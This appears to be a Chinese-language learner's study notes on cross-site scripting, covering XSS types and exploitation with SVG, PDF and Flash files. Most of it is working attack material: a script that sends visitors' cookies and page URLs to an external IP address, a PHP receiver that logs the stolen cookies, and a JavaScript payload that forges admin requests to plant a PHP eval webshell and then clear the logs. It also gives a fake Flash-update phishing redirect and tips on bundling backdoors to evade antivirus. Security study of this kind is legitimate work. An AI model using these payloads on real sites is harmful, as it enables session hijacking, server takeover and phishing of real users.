漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BAS
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,httponly,CSP防护,WAF拦截等
测试流程:看输出想输入在哪,更改输入看执行代码(执行结果由标签,过滤决定)
xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
一、XSS跨站-SVG-PDF-Flash-MXSS-UXSS-配合上传-文件添加脚本
(一)MXSS:跨站的艺术-XSS入门与介绍 [ Fooying ]
网站本身有过滤,但是在qq那种预览功能,会实现攻击
(二)UXSS:Universal Cross-Site Scripting
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生xSS并执行代码的一种攻击类型。
如翻译,每个浏览器功能不一样(Edge浏览器翻译功能导致JS语句被调用执行)
利用:MICROSOFT、EDGE XSS、CVE-2021-34506
【转载】MICROSOFT EDGE uXSS POC CVE-2021-34506_哔哩哔哩_bilibili
><img src=x onerror=alert(1)>
发布这样一串代码到csdn或大网站测试 但是基本都有过滤
(三)SVG-XSS 就是图片
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
插入如下代码
<svg xmlns="http://www.w3.orq/2000/svq" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2"fill="red" />
<script>alert(1)</script>
</svg>
(四)PDF-XSS
1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发
项目:迅捷PDF编辑器试用版
常用在钓鱼
(五)FLASH-XSS
1、制作swf-xss文件
(1)新建swf文件
(2)F9进入代码区域
(3)属性发布设置解析
//取m参数
var m= root.m;
//调用htm1中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)
项目:Adobe Flash Professional Cs6
2、测试swf文件 xss安全性
(1)找到网站自带的swf文件,反编译swf文件(有软件可逆向),找到调用函数的地方,传参利用
(2)查找触发危险函数
(3)找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和is通信,因此这些函数如果使用不当就会造成xss。
常见的可触发xss的危险函数有:
getURL
navigateToURL
ExternalInterface.call(多)
htmlText
loadMovie 等
项目:JPEXS Free Flash Decompiler
3、小结
svg、pdf
制作带有js代码执行的文件 利用上传 取得文件路径 去触发js代码
swf
(1)制作带有js代码执行的文件 利用上传 取得文件路径 去触发js代码
(2)对本身的swf反编译逆向 分析触发点 触发js
二、XSS跨站-盲打-Cookie盗取-表单劫持-网络钓鱼-溯源分析-项目平台框架
(一)XSS跨站-攻击利用-凭据盗取
条件:无防护Cookie凭据获取
利用:XSS平台或手写接收代码
触发:
<script>var
url='http://47.94.236.117/getcookie.php?u='+window.location.href+&c='+document.cookie;document.write("<img src="+url+");</script>
window.location.href:获取当前页面的完整URL地址
document.cookie:获取当前域名下的所有Cookie信息
document.write("<img src=" + url + ">"):创建一个图片标签,向攻击者的服务器发送请求
getcookie.php脚本会记录这些信息,利用图片标签是因为它可以跨域请求,且不会像Ajax那样受到同源策略限制
接受:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
(二)XSS跨站-攻击利用-数据提交
条件:熟悉后台业务功能数据包,利用JS写一个模拟提交,此文件rce,后台等着就行
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
javascript代码:poc.js
<script src="http://xx.xxx.xxx/poc.js"></script>
function poc(){
$.get('/service/app/tasks.php?type=task_list',[],function (data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog', {
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute ="20";
data.shell='echo "<php @eval($_POST[123]);?>" >
c:/xp.cn/www/wwmroot/admin/localhost_80/wwmroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data, function (res){
poc();
},'json');
}
save();
(三)XSS跨站-攻击利用-网络钓鱼
1、部署可访问的钓鱼页面并修改(网页克隆 参考去年152天和154天钓鱼课程)
从零开始搭建轻量级个人XSS平台(BlueLotus_XSSReceiver-master蓝莲花)_ssh搭建蓝莲花-CSDN博客
2、植入XSS代码等待受害者触发
3、将后门及正常文件捆绑打包免杀
GitHub - r00tSe7en/Fake-flash.cn: flash.cn钓鱼页(中文+英文)
①示例攻击角度:
对方有一个贷款网站a,更改用户名/攻击点/错误登录(登录信息被日志记录,管理员访问后台日志会触发),注入xss的js代码到后台,后台管理员点击了js页面或者定时访问某些后台页面(如网站更新),触发漏洞。
危害:攻击者获取了Cookie/浏览器信息等等,还可以通过工具实现其他操作,如钓鱼等
②CTF攻击角度:
找到注入点(能执行js处),然后搭建xss后台接收Cookie等信息(比赛不知道怎么搞。),获取Cookie后重发包或者F12更改尝试登录
③更多攻击角度
钓鱼
<script>alert('当前浏览器Flash版本过低,请下载升级!
');location.href='http://xxx.xxx.xxx'</script>
(四)XSS跨站-攻击利用-溯源综合
1、XSS数据平台-XSSReceiver
简单配置即可使用,无需数据库,无需其他组件支持
搭建:GitHub - epoch99/BlueLotus_XSSReceiver-master: xss源码
2、浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
搭建
docker run --rm -p 3000:3000 janes/beef
利用成功能直接跳转url,实现很多功能,主要看前端js策略是否严格
补充:
矛·盾 武器库 v3.2 |开箱即用的windows渗透测试工具包 - 🔰雨苁ℒ🔰
小结
不仅做记录,还要动手刷题啊,不然就是原地徘徊,xss还要好好琢磨
关于要不要转方向,比如Java后端开发、ai智能化、运维?不知道怎么选择,本来前两天想学了Python后学前端,结果这Gemini3带来的焦虑,很怕入坑,围城效应
Comments NOTHING